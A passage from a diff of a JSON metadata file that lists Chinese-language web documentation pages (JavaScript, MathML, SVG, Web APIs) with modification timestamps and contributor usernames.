"contributors": [ - "zhangchen", - "Lan1967", - "cddsgtc", - "Xheldon", - "gooqiao", - "llwanghong", - "YouHeng", - "xgqfrms-GitHub", - "Hugh", - "helloguangxue", - "TUKOMI", - "ziyunfei", - "licop" + "SHALLYKL" ] }, - "Web/JavaScript/Reference/Statements/var": { - "modified": "2020-10-15T21:29:22.023Z", + "Web/API/BaseAudioContext/currentTime": { + "modified": "2019-03-23T22:52:18.954Z", "contributors": [ - "FloydTsai", - "RainSlide", - "zhangchen", - "AymaxLi", - "xgqfrms-GitHub", - "The-End-Hero", - "loddit", - "lunix01", - "AlexChao", - "SphinxKnight", - "Fify" + "ayqy" ] }, - "Web/JavaScript/Reference/Statements/while": { - "modified": "2020-10-15T21:31:43.063Z", + "Web/API/BaseAudioContext/decodeAudioData": { + "modified": "2019-03-23T22:36:34.575Z", "contributors": [ - "RainSlide", - "zhangchen", - "ziyunfei", - "AlexChao" + "Taoja", + "huangxok" ] }, - "Web/JavaScript/Reference/Statements/with": { - "modified": "2020-10-15T21:29:35.662Z", + "Web/API/BaseAudioContext/destination": { + "modified": "2019-03-23T22:52:09.137Z", "contributors": [ - "SadWood", - "yangtoude", - "zhangchen", - "abc45628", - "xgqfrms-GitHub", - "kiling", - "wizardforcel", - "YFM-getA", - "jonkee", - "SphinxKnight", - "front" + "ayqy" ] }, - "Web/JavaScript/Reference/Strict_mode": { - "modified": "2020-03-12T19:35:37.779Z", + "Web/API/BaseAudioContext/listener": { + "modified": "2019-03-23T22:52:15.612Z", "contributors": [ - "xrkffgg", - "gaoyia", - "qiufeihong2018", - "Opelar", - "hmsz", - "amandameng", - "zhangchen", - "recursion", - "JuFoFu", - "qiu_han", - "tsejx", - "righttoe", - "xgqfrms-GitHub", - "holynewbie", - "nanflower", - "weimengxi", - "xuzicn", - "Qcui", - "Toweave", - "zilong-thu", - "anitawho", - "laoxubuer", - "knightf", - "Jack.Works", - "Dijason", - "ziyunfei", - "yaway", - "iahu", - "mountainmoon", - "Frantic1048", - "Darrel.Hsu", - "ReyCG", - "teoli", - "endlesswind" + "ayqy" ] }, - "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": { - "modified": "2020-03-12T19:38:14.564Z", + "orphaned/Web/API/AudioContext/mozAudioChannelType": { + "modified": "2019-03-23T22:52:10.983Z", "contributors": [ - "vincentdd", - "weimengxi", - "gavinjs", - "zjjott", - "ziyunfei", - "yenshen", - "teoli" + "ayqy" ] }, - "Web/JavaScript/Reference/Trailing_commas": { - "modified": "2020-10-15T21:52:12.920Z", + "Web/API/BaseAudioContext/onstatechange": { + "modified": "2019-03-23T22:52:09.265Z", "contributors": [ - "RainSlide", - "zhangchen", - "wizardforcel" + "ayqy" ] }, - "Web/JavaScript/Reference/template_strings": { - "modified": "2020-10-15T21:37:03.468Z", + "Web/API/BaseAudioContext/sampleRate": { + "modified": "2019-03-23T22:52:21.186Z", "contributors": [ - "SphinxKnight", - "fanky-huang", - "崮生", - "zhangchen", - "zouyang1230", - "aimishan", - "pujiaxun", - "ZQH", - "LNY", - "ywjco", - "winjeysong", - "xgqfrms-GitHub", - "lihx_hit", - "donyaw", - "Ende93", - "lukywong", - "FredWe" + "ayqy" ] }, - "Web/JavaScript/Shells": { - "modified": "2020-09-04T03:12:55.502Z", + "Web/API/BaseAudioContext/state": { + "modified": "2019-03-23T22:52:21.050Z", "contributors": [ - "a1157116165", - "StorytellerF", - "pluwen", - "sonymoon", - "pelligit", - "maicss" + "ayqy" ] }, - "Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation": { - "modified": "2020-03-12T19:49:00.824Z", + "orphaned/Web/API/AudioNode/connect(AudioParam)": { + "modified": "2019-03-23T22:18:48.818Z", "contributors": [ - "Rominez", - "suhan" + "smilewalker" ] }, - "Web/JavaScript/Typed_arrays": { - "modified": "2020-10-15T21:26:17.964Z", + "Web/API/CanvasCaptureMediaStreamTrack": { + "modified": "2019-03-18T21:16:31.622Z", "contributors": [ - "norton-lee", - "ThomasWhyne", - "nkliyc", - "AngeloZ", - "zhangchen", - "wblovezqy", - "jing-y", - "lvsiyuan", - "xgqfrms-GitHub", - "JoyZF", - "jianzhou", - "lon", - "ngtmuzi", - "Amme", - "troywith77", - "ipy", - "teoli", - "zekai.zheng" + "scplay" ] }, - "Web/JavaScript/javascript(起步)": { - "modified": "2019-03-23T22:54:49.824Z", + "Web/API/Channel_Messaging_API/Using_channel_messaging": { + "modified": "2020-10-15T22:33:04.421Z", "contributors": [ - "Rupengkun" + "cheiron" ] }, - "Web/Localization": { - "modified": "2020-05-28T07:36:01.726Z", + "Web/API/CSSPageRule": { + "modified": "2020-10-15T22:24:48.715Z", "contributors": [ - "RoyZ", - "faliye" + "hongz1125" ] }, - "Web/Manifest": { - "modified": "2019-10-29T05:08:14.882Z", + "Web/API/Ambient_Light_Events": { + "modified": "2020-10-15T21:34:12.225Z", "contributors": [ - "7NZ", - "mySoul", - "flyingsouthwind", - "varcat", - "_da", - "xgqfrms-GitHub" + "RainSlide", + "fskuok" ] }, - "Web/Manifest/background_color": { - "modified": "2020-10-15T22:31:53.672Z", + "orphaned/Web/API/Document/cookie/Simple_document.cookie_framework": { + "modified": "2019-03-18T20:55:13.743Z", "contributors": [ - "wobuhuisuanmin", - "wr20060926" + "Tommy-White", + "xgqfrms-GitHub" ] }, - "Web/MathML": { - "modified": "2020-10-15T21:25:04.339Z", + "Web/API/Document/fullscreen": { + "modified": "2019-06-11T23:50:44.389Z", "contributors": [ - "RainSlide", - "Anonymous86x69ashe", - "pluwen", - "linmx0130", - "lunix01", - "fred.wang", - "fscholz" + "xiaoxingchi", + "hb-bobo", + "codeofjackie", + "teoli", + "AshfaqHossain", + "ziyunfei" ] }, - "Web/MathML/Attribute": { - "modified": "2019-03-23T22:52:18.616Z", + "Web/API/DocumentOrShadowRoot/fullscreenElement": { + "modified": "2019-03-24T00:17:55.698Z", "contributors": [ - "luneice", - "FredWe" + "teoli", + "jsx", + "ziyunfei" ] }, - "Web/MathML/Authoring": { - "modified": "2019-10-27T00:08:11.337Z", + "Web/API/Document/fullscreenEnabled": { + "modified": "2019-03-24T00:17:54.483Z", "contributors": [ - "RainSlide", - "fanxiaojie", - "FredWe" + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/MathML/Element": { - "modified": "2020-03-31T12:28:08.721Z", + "Web/API/DocumentOrShadowRoot/pointerLockElement": { + "modified": "2019-03-23T22:20:46.971Z", "contributors": [ - "RainSlide", - "qson", - "ziyunfei", - "a.stone" + "876843240" ] }, - "Web/MathML/Element/maction": { - "modified": "2019-03-18T21:42:16.631Z", + "Web/API/Document/touchmove_event": { + "modified": "2019-04-30T14:14:32.752Z", "contributors": [ - "LiuYuan" + "wbamberg", + "irenesmith", + "fscholz", + "zhaosource" ] }, - "Web/MathML/Element/math": { - "modified": "2019-03-23T22:48:38.735Z", + "Web/API/Element/DOMActivate_event": { + "modified": "2020-10-15T22:15:27.177Z", "contributors": [ - "linmx0130" + "Carllllo", + "wbamberg", + "irenesmith", + "chenyanfei-m" ] }, - "Web/MathML/Element/mroot": { - "modified": "2019-03-18T21:42:14.503Z", + "Web/API/Document/onafterscriptexecute": { + "modified": "2019-03-24T00:15:00.171Z", "contributors": [ - "LiuYuan" + "wbamberg", + "teoli", + "khalid32", + "ziyunfei", + "zhangyaochun1987" ] }, - "Web/MathML/Element/mrow": { - "modified": "2020-10-15T22:25:33.815Z", + "orphaned/Web/API/Entity": { + "modified": "2020-06-03T01:07:43.853Z", "contributors": [ - "RainSlide" + "RainSlide", + "xgqfrms-GitHub" ] }, - "Web/MathML/Element/mspace": { - "modified": "2019-03-18T21:42:15.461Z", + "Web/API/Event/cancelBubble": { + "modified": "2019-03-23T22:20:20.011Z", "contributors": [ - "LiuYuan" + "shockw4ver", + "xgqfrms-GitHub", + "SuunZhu" ] }, - "Web/MathML/Element/msqrt": { - "modified": "2019-03-18T21:42:14.783Z", + "Web/API/AbortController/abort": { + "modified": "2020-10-15T22:22:26.939Z", "contributors": [ - "LiuYuan" + "cuiwei4869" ] }, - "Web/MathML/Element/msub": { - "modified": "2019-03-18T21:42:15.091Z", + "Web/API/AbortController/AbortController": { + "modified": "2020-10-15T22:10:15.849Z", "contributors": [ - "LiuYuan" + "xiiiAtCn" ] }, - "Web/MathML/Element/msubsup": { - "modified": "2020-10-15T22:28:42.346Z", + "Web/API/AbortController": { + "modified": "2020-10-15T21:56:50.608Z", "contributors": [ - "RainSlide" + "xgqfrms", + "chjxx", + "zhangchen", + "wuCrio" ] }, - "Web/MathML/Element/msup": { - "modified": "2020-10-15T22:01:09.939Z", + "orphaned/Web/API/FetchObserver": { + "modified": "2019-03-23T22:06:02.004Z", "contributors": [ - "RainSlide", - "LiuYuan" + "wuCrio" ] }, - "Web/MathML/Examples": { - "modified": "2019-10-26T23:25:14.524Z", + "Web/API/FileReader/abort_event": { + "modified": "2020-12-13T03:52:22.584Z", "contributors": [ - "RainSlide", - "Anonymous86x69ashe", - "Seattle", - "abc3660170", - "FredWe" + "VacantHusky" ] }, - "Web/MathML/Examples/Deriving_the_Quadratic_Formula": { - "modified": "2019-10-27T00:00:27.008Z", + "Web/API/FormData/delete": { + "modified": "2020-10-15T21:48:28.738Z", "contributors": [ "RainSlide", - "luneice" + "stevobm", + "tomi-li" ] }, - "Web/MathML/Examples/MathML_Pythagorean_Theorem": { - "modified": "2019-10-26T23:28:44.470Z", + "Web/API/Fullscreen_API/Guide": { + "modified": "2020-10-15T22:14:45.841Z", "contributors": [ - "RainSlide", - "Anonymous86x69ashe", - "Seattle" + "Soyaine", + "wuzy_oye" ] }, - "Web/Media/Formats": { - "modified": "2019-10-28T06:26:59.997Z", + "Web/API/Geolocation_API": { + "modified": "2019-07-01T03:42:53.000Z", "contributors": [ - "jswisher" + "aimilu", + "Syoogool", + "rongnianzu", + "rrandom", + "ziyunfei", + "Breezewish", + "shura-china", + "xcffl" ] }, - "Web/Media/Formats/Containers": { - "modified": "2020-11-01T10:00:22.590Z", + "Web/API/GeolocationPosition/timestamp": { + "modified": "2020-10-15T22:32:25.842Z", "contributors": [ - "happyxxj" + "liu-yanlong" ] }, - "Web/Media/Formats/Image_types": { - "modified": "2020-10-28T06:58:07.754Z", + "Web/API/GlobalEventHandlers/ondurationchange": { + "modified": "2020-10-15T22:21:15.042Z", "contributors": [ - "hylashyla", - "RainSlide" + "suvyme", + "amehito" ] }, - "Web/Media/Formats/视频编解码器": { - "modified": "2019-10-29T00:53:07.418Z", + "Web/API/HTMLAnchorElement/referrerPolicy": { + "modified": "2019-03-23T22:47:13.629Z", "contributors": [ - "zxhaha" + "ziyunfei" ] }, - "Web/Performance": { - "modified": "2020-07-21T05:10:44.104Z", + "Web/API/HTMLCanvasElement/captureStream": { + "modified": "2020-03-01T21:28:17.989Z", "contributors": [ - "lvbaiying", - "FE_pangxing", - "biqing", - "RainSlide", - "maoyougan", - "sqd123", - "chrisdavidmills", - "iceytea" + "jollybearchina", + "dxiaoqi" ] }, - "Web/Performance/CSS_JavaScript_animation_performance": { - "modified": "2020-07-29T00:36:34.087Z", + "Web/API/HTMLOrForeignElement/blur": { + "modified": "2019-03-23T22:00:21.147Z", "contributors": [ - "deping_chen", - "sunfeel", - "liangbus" + "teoli", + "fscholz", + "ziyunfei" ] }, - "Web/Performance/Critical_rendering_path": { - "modified": "2020-10-13T09:41:03.369Z", + "Web/API/HTMLOrForeignElement/dataset": { + "modified": "2019-08-08T12:52:36.012Z", "contributors": [ - "xgqfrms", - "HouGiser", - "HuiyingShen96", - "chafel" + "ilexwg", + "xgqfrms-GitHub", + "teoli", + "ziyunfei", + "ReyCG_sub", + "ReyCG" ] }, - "Web/Performance/Lazy_loading": { - "modified": "2020-10-13T09:10:51.078Z", + "Web/API/HTMLOrForeignElement/focus": { + "modified": "2020-10-15T21:06:47.253Z", "contributors": [ - "xgqfrms" + "RainSlide", + "slimeball", + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/Performance/Optimizing_startup_performance": { - "modified": "2019-03-23T22:00:17.334Z", + "Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-12-05T03:41:17.381Z", "contributors": [ - "chrisdavidmills", - "codeofjackie" + "hufeicom", + "chenqingyue" ] }, - "Web/Performance/Rum-vs-Synthetic": { - "modified": "2020-10-13T09:51:23.567Z", + "Web/API/ElementCSSInlineStyle/style": { + "modified": "2020-10-15T21:30:08.559Z", "contributors": [ - "xgqfrms" + "zhuangyin", + "xgqfrms-GitHub", + "distums", + "teoli", + "AlexChao" ] }, - "Web/Performance/dns-prefetch": { - "modified": "2020-10-13T10:51:56.349Z", + "Web/API/HTMLOrForeignElement/tabIndex": { + "modified": "2019-03-24T00:16:26.046Z", "contributors": [ - "xgqfrms", - "chrisdavidmills", - "caoweiju" + "teoli", + "Hasilt", + "sleepholic", + "ziyunfei" ] }, - "Web/Performance/浏览器渲染页面的工作原理": { - "modified": "2020-04-02T13:24:16.615Z", + "Web/API/Intersection_Observer_API/Timing_element_visibility": { + "modified": "2019-03-23T22:11:40.163Z", "contributors": [ - "Galaxy" + "xgqfrms-GitHub" ] }, - "Web/Progressive_web_apps": { - "modified": "2020-03-14T09:56:33.733Z", + "Web/API/MediaStream/addTrack": { + "modified": "2019-03-23T22:37:09.665Z", "contributors": [ - "Miahui", - "kkocdko", - "chrisdavidmills", - "sijimi", - "xgqfrms-GitHub", - "xgqfrms" + "w05163" ] }, - "Web/Progressive_web_apps/App_structure": { - "modified": "2020-05-31T18:38:01.454Z", + "orphaned/Web/API/MSSelection": { + "modified": "2020-02-27T01:47:20.687Z", "contributors": [ - "jin_wang", - "Miahui", - "xiao11lang", - "Mosan", - "githubxiaominge", - "liminjun", - "zjffun", - "alfred_chao95", - "chrisdavidmills", - "eightHundreds" + "MCCF" ] }, - "Web/Progressive_web_apps/Installable_PWAs": { - "modified": "2020-08-03T23:25:28.976Z", + "orphaned/Web/API/NameList": { + "modified": "2019-03-23T22:46:53.836Z", "contributors": [ - "SDUTWSL", - "nurob", - "Dht", - "Miahui", - "HDUCC", - "deping_chen" + "MeCKodo" ] }, - "Web/Progressive_web_apps/Introduction": { - "modified": "2019-08-21T09:58:46.102Z", + "orphaned/Web/API/NavigatorPlugins/测试滕盖": { + "modified": "2019-03-23T22:49:37.647Z", "contributors": [ - "jackupdown", - "zjffun", - "chrisdavidmills", - "eightHundreds", - "yijie_sun" + "ChenChenJoke" ] }, - "Web/Progressive_web_apps/Network_independent": { - "modified": "2019-03-18T20:52:05.037Z", + "Web/API/HTMLElement/innerText": { + "modified": "2020-10-15T21:50:36.703Z", "contributors": [ - "chrisdavidmills", - "liminjun", - "xgqfrms-GitHub" + "wuyou", + "RainSlide", + "keifergu", + "xgqfrms-GitHub", + "Aolose" ] }, - "Web/Progressive_web_apps/Offline_Service_workers": { - "modified": "2020-07-02T16:41:37.440Z", + "orphaned/Web/API/notification/sound": { + "modified": "2019-03-18T21:17:44.470Z", "contributors": [ - "showad", - "nurob", - "githubxiaominge", - "zjffun" + "ZZES_REN" ] }, - "Web/Progressive_web_apps/Re-engageable": { - "modified": "2019-03-18T20:52:04.596Z", + "Web/API/Notifications_API/Using_the_Notifications_API": { + "modified": "2020-03-18T06:57:06.393Z", "contributors": [ - "chrisdavidmills", - "liminjun" + "wangyb1026", + "Yifang-Tongxing", + "845056166", + "xgqfrms-GitHub", + "Hawkeyes_Wind" ] }, - "Web/Progressive_web_apps/Re-engageable_Notifications_Push": { - "modified": "2020-05-31T18:38:17.693Z", + "Web/API/OfflineAudioContext/complete_event": { + "modified": "2020-10-15T22:17:22.684Z", "contributors": [ - "nurob", - "githubxiaominge" + "ewfian", + "ljx23136138" ] }, - "Web/Progressive_web_apps/Responsive": { - "modified": "2019-03-18T20:52:04.806Z", + "Web/API/Performance/memory": { + "modified": "2020-10-15T22:29:17.983Z", "contributors": [ - "chrisdavidmills", - "liminjun" + "biqing" ] }, - "Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { - "modified": "2020-11-17T04:04:41.165Z", + "Web/API/Crypto/getRandomValues": { + "modified": "2020-10-15T21:53:31.704Z", "contributors": [ - "DingGuangbo" + "RainSlide", + "ywjco", + "micblo" ] }, - "Web/Progressive_web_apps/优势": { - "modified": "2019-04-18T12:23:20.526Z", + "Web/API/Response/clone": { + "modified": "2019-03-23T22:03:57.353Z", "contributors": [ - "chenronghui" + "Ende93", + "xiaoxiaojx" ] }, - "Web/Progressive_web_apps/加载": { - "modified": "2019-08-31T10:29:37.985Z", + "Web/API/Screen_Capture_API/Using_Screen_Capture": { + "modified": "2020-09-27T04:18:52.593Z", "contributors": [ - "githubxiaominge" + "Bigsomg", + "hzy" ] }, - "Web/Progressive_web_apps/添加到主屏幕": { - "modified": "2019-11-13T02:27:54.714Z", + "Web/API/Selection/deleteFromDocument": { + "modified": "2019-03-23T22:25:17.531Z", "contributors": [ - "JC-Ge" + "FormatFa" ] }, - "Web/Reference": { - "modified": "2019-03-18T21:10:51.690Z", + "Web/API/Streams_API/Using_readable_streams": { + "modified": "2019-08-08T09:43:09.249Z", "contributors": [ - "SphinxKnight", - "acuptea", - "rguanghui", - "huasheng", - "yangchengjian", - "liuwentianwtu", - "jack7758", - "ValkyrieLawliet", - "ZhangKaiqiang", - "colin-zhou", - "ziyunfei", - "Sheppy" + "qushuangru" ] }, - "Web/Reference/API": { - "modified": "2020-02-06T00:29:14.463Z", + "Web/API/Streams_API/Concepts": { + "modified": "2020-10-27T00:49:21.364Z", "contributors": [ - "RainSlide", - "yongxiaodu", - "micblo", - "kevinfszu", - "yfdyh000", - "zmh_w", - "tangxiaobaobao", - "ziyunfei", - "noscripter", - "hutuxu" + "xyzingh" ] }, - "Web/SVG": { - "modified": "2020-05-25T07:08:22.112Z", + "orphaned/Web/API/TextRange/text": { + "modified": "2020-02-26T01:25:35.461Z", "contributors": [ - "Adrian-Yan", - "RainSlide", - "pluwen", - "LalaChu", - "simongfxu", - "fanxiaojie", - "Metalooze", - "lunix01", - "charlie", - "johncido", - "cuixiping", - "huguowei", - "teoli", - "xcffl", - "LIXer" + "MCCF" ] }, - "Web/SVG/Applying_SVG_effects_to_HTML_content": { - "modified": "2020-10-21T05:14:10.197Z", + "Web/API/UIEvent/view": { + "modified": "2020-10-15T22:25:09.871Z", "contributors": [ - "Chellyyy", - "Kylexii", - "almond", - "AaronYehf", - "swingcat", - "SphinxKnight", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Attribute": { - "modified": "2020-06-11T11:15:23.661Z", + "Web/API/URL/password": { + "modified": "2020-10-15T22:20:32.740Z", "contributors": [ - "chanvin", - "RainSlide", - "fanxiaojie", - "slientomorrr", - "stevenvachon" + "zhangchen", + "jessieic", + "jinjin" ] }, - "Web/SVG/Attribute/From": { - "modified": "2019-03-23T22:07:46.163Z", + "Web/API/HTMLHyperlinkElementUtils/hash": { + "modified": "2020-02-24T00:59:03.514Z", "contributors": [ - "876843240" + "ikomom", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/Presentation": { - "modified": "2020-10-15T22:23:08.667Z", + "Web/API/HTMLHyperlinkElementUtils/href": { + "modified": "2019-03-23T22:13:56.960Z", "contributors": [ - "gogoend" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/accent-height": { - "modified": "2019-07-05T08:35:14.107Z", + "Web/API/HTMLHyperlinkElementUtils": { + "modified": "2020-10-15T21:33:08.803Z", "contributors": [ - "yvonneit" + "RainSlide", + "AyAmeng", + "teoli" ] }, - "Web/SVG/Attribute/accumulate": { - "modified": "2019-03-23T22:32:55.125Z", + "Web/API/HTMLHyperlinkElementUtils/origin": { + "modified": "2019-03-23T22:12:28.154Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/alignment-baseline": { - "modified": "2019-07-05T08:35:05.656Z", + "Web/API/HTMLHyperlinkElementUtils/password": { + "modified": "2019-03-23T22:12:38.210Z", "contributors": [ - "liyongleihf2006", - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/attributeName": { - "modified": "2019-03-23T22:46:42.034Z", + "Web/API/HTMLHyperlinkElementUtils/pathname": { + "modified": "2019-03-23T22:12:27.883Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/attributeType": { - "modified": "2019-03-23T22:46:39.534Z", + "Web/API/HTMLHyperlinkElementUtils/search": { + "modified": "2019-03-23T22:16:26.271Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub", + "kameii" ] }, - "Web/SVG/Attribute/baseProfile": { - "modified": "2019-07-05T08:35:43.566Z", + "Web/API/HTMLHyperlinkElementUtils/toString": { + "modified": "2019-03-23T22:13:59.877Z", "contributors": [ - "leighcc" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/baseline-shift": { - "modified": "2019-03-23T22:46:48.235Z", + "Web/API/HTMLHyperlinkElementUtils/username": { + "modified": "2019-03-23T22:12:31.600Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/begin": { - "modified": "2019-03-23T22:46:49.938Z", + "Web/API/Web_Audio_API/Best_practices": { + "modified": "2020-04-13T06:14:13.545Z", "contributors": [ - "wbamberg", - "fanxiaojie" + "KotoriK" ] }, - "Web/SVG/Attribute/calcMode": { - "modified": "2019-03-23T22:10:34.986Z", + "Web/API/WebGLRenderingContext/polygonOffset": { + "modified": "2020-10-15T22:09:39.645Z", "contributors": [ - "leedut" + "ZhaoYaoSheng" ] }, - "Web/SVG/Attribute/clip": { - "modified": "2020-10-15T21:39:26.851Z", + "Web/API/WebSocket/binaryType": { + "modified": "2020-10-15T22:11:38.195Z", "contributors": [ - "RainSlide", - "fanxiaojie" + "snowwolfjay", + "jaredhan418" ] }, - "Web/SVG/Attribute/clip-path": { - "modified": "2020-10-15T22:28:50.040Z", + "orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET": { + "modified": "2019-03-18T21:29:02.340Z", "contributors": [ - "jhchen6" + "xiaoyixiang" ] }, - "Web/SVG/Attribute/color": { - "modified": "2020-10-15T21:39:18.231Z", + "Web/API/WindowOrWorkerGlobalScope/clearInterval": { + "modified": "2020-10-15T21:21:33.193Z", "contributors": [ + "RainCruise", "RainSlide", - "fanxiaojie" - ] - }, - "Web/SVG/Attribute/cx": { - "modified": "2019-03-23T22:18:03.024Z", - "contributors": [ - "realstephenzhao", - "huainanhai" + "luojia", + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/SVG/Attribute/cy": { - "modified": "2019-03-18T21:22:46.371Z", + "orphaned/Web/API/Window/getAttention": { + "modified": "2020-10-15T22:21:28.407Z", "contributors": [ - "realstephenzhao" + "luoxue-victor" ] }, - "Web/SVG/Attribute/d": { - "modified": "2019-03-23T22:55:44.323Z", + "Web/API/WindowEventHandlers/onbeforeunload": { + "modified": "2019-05-09T03:05:32.709Z", "contributors": [ - "msyfls123", - "fanxiaojie", - "creamidea", - "charlie" + "johnlin0207", + "Etoile984816138", + "1Cr18Ni9", + "teoli", + "khalid32", + "ziyunfei", + "WenbingZheng" ] }, - "Web/SVG/Attribute/display": { - "modified": "2020-11-17T10:08:32.937Z", + "Web/API/WindowEventHandlers/onhashchange": { + "modified": "2020-10-15T21:06:52.013Z", "contributors": [ - "292514467", - "misakisaysyes", - "radial-hks" + "Arnie97", + "xgqfrms-GitHub", + "Ende93", + "vuji", + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/SVG/Attribute/dominant-baseline": { - "modified": "2019-03-23T22:09:53.226Z", + "Web/API/WindowEventHandlers/onpopstate": { + "modified": "2020-10-15T21:07:15.381Z", "contributors": [ - "xinjianheyi" + "SUCHMOKUO", + "wuyou", + "ReedSun", + "wenshin", + "xiaomingming", + "vose2008", + "teoli", + "Hasilt", + "ziyunfei" ] }, - "Web/SVG/Attribute/dur": { - "modified": "2019-03-23T22:46:40.065Z", + "Web/API/WindowEventHandlers/onunload": { + "modified": "2020-10-23T06:31:44.836Z", "contributors": [ - "fanxiaojie" + "liguorain", + "lon", + "teoli", + "AshfaqHossain", + "ziyunfei" ] }, - "Web/SVG/Attribute/dx": { - "modified": "2020-08-25T05:37:26.030Z", + "Web/API/WindowOrWorkerGlobalScope/setInterval": { + "modified": "2020-11-25T18:16:55.949Z", "contributors": [ - "danceash", - "jiahui" + "RayTang-hub", + "cellinlab", + "Jiangmenghao", + "TXYjing", + "Soul", + "fengbin", + "RainSlide", + "brandonhyc", + "xgqfrms-GitHub", + "shery", + "xgqfrms", + "teoli", + "khalid32", + "ziyunfei", + "sonicview" ] }, - "Web/SVG/Attribute/edgeMode": { - "modified": "2019-03-23T22:46:21.766Z", + "Web/API/WindowOrWorkerGlobalScope/setTimeout": { + "modified": "2020-10-15T21:19:52.746Z", "contributors": [ - "fanxiaojie" + "SnowGojira", + "iyow", + "johnao", + "chrisdavidmills", + "csga31971", + "baijingfeng", + "Reci-z", + "horrylala", + "Adashuai5", + "LilyWakana", + "Mars687", + "pinpinye", + "Lby876176278", + "Chancefeng", + "fscholz", + "xiazhe", + "Frorice", + "yhtml5", + "righttoe", + "Toxni", + "piemonSong", + "xgqfrms-GitHub", + "heke2929", + "SnowOnion", + "Chimen", + "hbkdsm", + "paddingme", + "teoli", + "khalid32", + "Meteormatt", + "ziyunfei" ] }, - "Web/SVG/Attribute/enable-background": { - "modified": "2020-10-15T22:34:25.447Z", + "Web/API/Window/blur": { + "modified": "2019-03-23T22:13:16.814Z", "contributors": [ - "SphinxKnight", - "SoMuchTo" + "Toxni" ] }, - "Web/SVG/Attribute/end": { - "modified": "2019-03-23T22:46:42.288Z", + "Web/API/WindowOrWorkerGlobalScope/atob": { + "modified": "2020-10-15T21:07:00.713Z", "contributors": [ - "fanxiaojie" + "RainSlide", + "zhangchen", + "nkliyc", + "dingyanhe", + "xgqfrms-GitHub", + "ziyunfei", + "happyWang", + "teoli", + "khalid32" ] }, - "Web/SVG/Attribute/fill": { - "modified": "2019-03-23T22:46:42.182Z", + "Glossary/Base64": { + "modified": "2020-09-03T07:22:36.242Z", "contributors": [ - "fanxiaojie" + "WangXBruc", + "waitingsong", + "RainSlide", + "luojia", + "fghpdf", + "ahcheqiu" ] }, - "Web/SVG/Attribute/fill-opacity": { - "modified": "2019-03-23T22:46:42.402Z", + "Web/API/WindowOrWorkerGlobalScope/btoa": { + "modified": "2020-10-15T21:06:58.236Z", "contributors": [ - "fanxiaojie" + "RainSlide", + "zhangchen", + "RoXoM", + "Carrotzpc", + "dingyanhe", + "xgqfrms-GitHub", + "ziyunfei", + "teoli", + "khalid32", + "cuixiping" ] }, - "Web/SVG/Attribute/fill-rule": { - "modified": "2020-10-15T21:39:20.776Z", + "Web/API/WindowOrWorkerGlobalScope/clearTimeout": { + "modified": "2020-06-09T04:49:33.480Z", "contributors": [ - "skywalker_z", - "kapokkopak", - "Ambar", - "ZhengYinBo", - "fanxiaojie" + "Humilitas", + "zhangchen", + "luojia", + "paddingme" ] }, - "Web/SVG/Attribute/filter": { - "modified": "2019-03-23T22:46:38.982Z", + "Web/API/Index": { + "modified": "2020-09-07T03:42:22.980Z", "contributors": [ - "fanxiaojie" + "SphinxKnight", + "hl7514576" ] }, - "Web/SVG/Attribute/filterUnits": { - "modified": "2019-03-23T22:14:03.688Z", + "Web/API/Payment_Request_API/Concepts": { + "modified": "2019-07-19T05:54:54.946Z", "contributors": [ - "liyongleihf2006" + "CapriceLi" ] }, - "Web/SVG/Attribute/font-family": { - "modified": "2019-03-23T23:04:59.299Z", + "Web/API/Payment_Request_API": { + "modified": "2020-10-15T22:21:11.974Z", "contributors": [ - "charlie" + "CapriceLi" ] }, - "Web/SVG/Attribute/fr": { - "modified": "2019-03-18T21:22:49.932Z", + "Web/API/SpeechRecognition": { + "modified": "2020-10-15T22:15:39.263Z", "contributors": [ - "realstephenzhao" + "burt1025lzz" ] }, - "Web/SVG/Attribute/fx": { - "modified": "2019-03-18T21:28:55.964Z", + "Web/API/SpeechRecognition/result_event": { + "modified": "2020-10-15T22:28:01.971Z", "contributors": [ - "realstephenzhao", - "longfeihouhouhou" + "coock1996" ] }, - "Web/SVG/Attribute/fy": { - "modified": "2019-03-18T21:22:47.918Z", + "Web/CSS/:blank": { + "modified": "2020-10-15T22:21:57.411Z", "contributors": [ - "realstephenzhao" + "RainSlide", + "karma2014" ] }, - "Web/SVG/Attribute/height": { - "modified": "2019-03-23T22:46:48.815Z", + "Web/CSS/Containing_block": { + "modified": "2020-10-09T00:31:23.855Z", "contributors": [ - "Ende93", - "fanxiaojie" + "Chellyyy", + "Young-Spark", + "laizenan", + "alattalatta", + "thxiami", + "studyMakesMeHappy", + "peppermintCode", + "tolerious", + "hehex9", + "littlelake", + "ucev" ] }, - "Web/SVG/Attribute/id": { - "modified": "2020-10-15T22:25:42.877Z", + "Learn/CSS/Howto/CSS_FAQ": { + "modified": "2020-07-16T22:25:46.153Z", "contributors": [ - "cuixiping" + "Robinx", + "Jack-Q", + "ChenDong", + "DavidGuan", + "zd9027", + "xuxun", + "teoli", + "ziyunfei", + "xcffl" ] }, - "Web/SVG/Attribute/image-rendering": { - "modified": "2019-03-23T23:10:41.035Z", + "Web/CSS/CSS_Background_and_Borders/Border-radius_generator": { + "modified": "2019-03-23T22:42:48.406Z", "contributors": [ - "ReyCG_sub" + "FrontENG", + "beyoursun", + "regiondavid" ] }, - "Web/SVG/Attribute/in": { - "modified": "2019-03-23T22:13:50.542Z", + "Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images": { + "modified": "2019-03-18T21:38:07.175Z", "contributors": [ - "liyongleihf2006" + "Aaron_Zhung" ] }, - 